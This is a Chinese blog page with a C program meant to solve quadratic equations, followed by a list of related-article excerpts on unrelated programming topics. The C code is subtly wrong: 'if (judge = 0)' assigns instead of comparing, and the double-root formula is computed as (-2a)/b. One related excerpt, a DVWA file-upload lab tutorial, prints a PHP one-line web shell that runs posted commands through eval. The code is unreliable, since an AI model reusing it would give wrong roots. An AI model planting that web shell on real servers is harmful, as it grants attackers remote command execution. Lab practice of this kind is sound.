(函数)求一元二次方程的根(C语言)

ops/2024/10/18 14:15:03/

一、运行结果;

二、源代码;

# define _CRT_SECURE_NO_WARNINGS
# include <stdio.h>
# include <math.h>//声明函数;
//判断条件等于0时;
void zeor(double a, double b);//判断条件大于0时;
void bigzeor(double p, double q);//判断条件小于0时;
void smallzeor();int main()
{//初始化变量值;double a, b, c, p, q, judge;//获取用户输入数据;printf("请输入a, b, c的值:");scanf("%lf %lf %lf", &a, &b, &c);//运算;judge = b * b - 4 * a * c;p = -b / (2.0 * a);q = sqrt(judge) / (2.0 * a);//判断;if (judge >= 0){if (judge = 0){//调用函数;zeor(a, b);}else{//调用函数;bigzeor(p, q);}}else{//调用函数;smallzeor();}return 0;
}//实现zeor函数;
void zeor(double a, double b)
{//初始换变量值;double x1 = 0;double x2 = 0;//运算;x1 = x2 = (-2.0 * a) / b;//输出结果;printf("函数的根为:x1=x2=%.2f\n", x1);}//实现bigzeor函数;
void bigzeor(double p, double q)
{//初始换变量值;double x1 = 0;double x2 = 0;//运算;x1 = p + q;x2 = p - q;//输出结果;printf("函数的根为:x1=%.2f, x2=%.2f\n", x1, x2);}//实现smallzeor函数;
void smallzeor()
{//输出结果;printf("函数无根!\n");}


http://www.ppmy.cn/ops/45044.html

相关文章

【渗透测试】|文件上传

1、安装使用蚁剑 https://blog.csdn.net/weixin_42474304/article/details/116376746 1、登陆dvwa,进入初级文件上传&#xff0c;上传一句话木马文件cmd.php&#xff0c; //cmd.php <?php eval($_POST[ccit]); ?> //eval: 执行命令的函数 //ccit:一句话木马文件的参数…

Kafka原生API使用Java代码-生产者-异步发送消息回调

文章目录 1、异步发送消息&回调1.1、pom.xml1.2、KafkaProducer1.java 1、异步发送消息&回调 回调就是接收kafka的响应 1.1、pom.xml <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0&q…

Go 控制协程(goroutine)的并发数量

在使用协程并发处理某些任务时, 其并发数量往往因为各种因素的限制不能无限的增大. 例如网络请求、数据库查询等等。 从运行效率角度考虑&#xff0c;在相关服务可以负载的前提下&#xff08;限制最大并发数&#xff09;&#xff0c;尽可能高的并发。 在Go语言中&#xff0c;…

搭建YOLOv10环境 训练+推理+模型评估

文章目录 前言一、环境搭建必要环境1. 创建yolov10虚拟环境2. 下载pytorch (pytorch版本>1.8)3. 下载YOLOv10源码4. 安装所需要的依赖包 二、推理测试1. 将如下代码复制到ultralytics文件夹同级目录下并运行 即可得到推理结果2. 关键参数 三、训练及评估1. 数据结构介绍2. 配…

Java_基础加强——日志、类加载器、单元测试、注解

1.日志&#xff1a; 日志的优势&#xff1a; 体系结构&#xff1a; 日志规范&#xff1a; 日志规范大多是一些接口&#xff0c;提供给实现框架去设计的 常见的规范是Commons Logging&#xff08;JCL&#xff09;、Simple Logging Facade for Java&#xff08;slf4j&#xff09…

第十三节:带你梳理Vue2 : watch侦听器

官方解释:> 观察 Vue 实例变化的一个表达式或计算属性函数。回调函数得到的参数为新值和旧值。表达式只接受监督的键路径。对于更复杂的表达式&#xff0c;用一个函数取代<br/>## 1. 侦听器的基本使用侦听器可以监听data对象属性或者计算属性的变化watch是观察属性的…

电脑同时配置两个版本mysql数据库常见问题

1.配置时&#xff0c;要把bin中的mysql.exe和mysqld.exe 改个名字&#xff0c;不然两个版本会重复&#xff0c;当然&#xff0c;在初始化数据库的时候&#xff0c;如果时57版本的&#xff0c;就用mysql57(已经改名的)和mysqld57 代替 mysql 和 mysqld 例如 mysql -u root -p …

Unix环境高级编程--8-进程控制---8.1-8.2进程标识-8.3fork函数-8.4 vfork函数

1、进程控制几个过程 创建进程--》执行进程---》终止进程 2、进程标识 &#xff08;1&#xff09;专用进程&#xff1a;ID为0的进程是调度进程&#xff0c;常常被称为交换进程&#xff0c;也称为系统进程&#xff1b; ID为1通常是init进程&#xff0c;在自举结束时由内核调用…